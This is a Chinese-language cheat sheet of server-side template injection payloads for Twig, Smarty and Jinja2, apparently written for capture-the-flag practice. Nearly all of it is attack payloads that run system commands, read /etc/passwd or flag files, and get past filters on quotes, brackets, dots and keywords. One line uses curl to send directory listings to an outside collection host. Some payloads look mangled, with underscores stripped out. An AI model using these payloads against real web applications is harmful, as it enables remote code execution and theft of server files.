php

twig

{{self.env.registerUndefinedFilterCallback("exec")}}{{self.env.getFilter("cat /flag")}}

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}

{{app.request.files.get(1).openFile.fread(99)}}

{{self.env.registerUndefinedFilterCallback("exec")}}{{self.env.getFilter("id")}}

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1

{{app.request.query.filter(0,0,1024,{'options':'system'})}}

smarty

{if phpinfo()}{/if}
{{system('cat /flag')}}

python

魔术方法

class   //获取类所属对象
bases   //获取基类
mro  //获取基类 调用顺序
subclasses()  //获取所有子类
init   //类的初始方法
globals // 对包含函数全局变量的字典的引用
function.globals //获取function所处空间下可使用的module、方法以及所有变量。
builtins //内建模块的引用

**
**

基本payload

{{"".class.mro[1].subclasses()[300].init.globals["os"]"popen".read()}}

过滤引号

1、数组、字典、数字
2、request.args.[参数]
3、内建函数的使用(chr)

过滤括号

getitem  // a[0]和a.getitem(0)效果一样

过滤关键字

双写绕过
getattribute   //获取字典的value,参数为key
request.args.[参数]
decode、replace等

过滤{

{% if ... %}1{% endif %}

例:
{% if ''.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d ls / | grep flag;') %}1{% endif %}

模块阉割

使用reload进行重载
reload(builtins)

过滤点号

{{""[request["args"]["class"]][request["args"]["mro"]][1]request["args"]["subclass"][286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")"read"}}


/?class=class&mro=mro&subclass=subclasses&init=init&globals=globals
上一篇 下一篇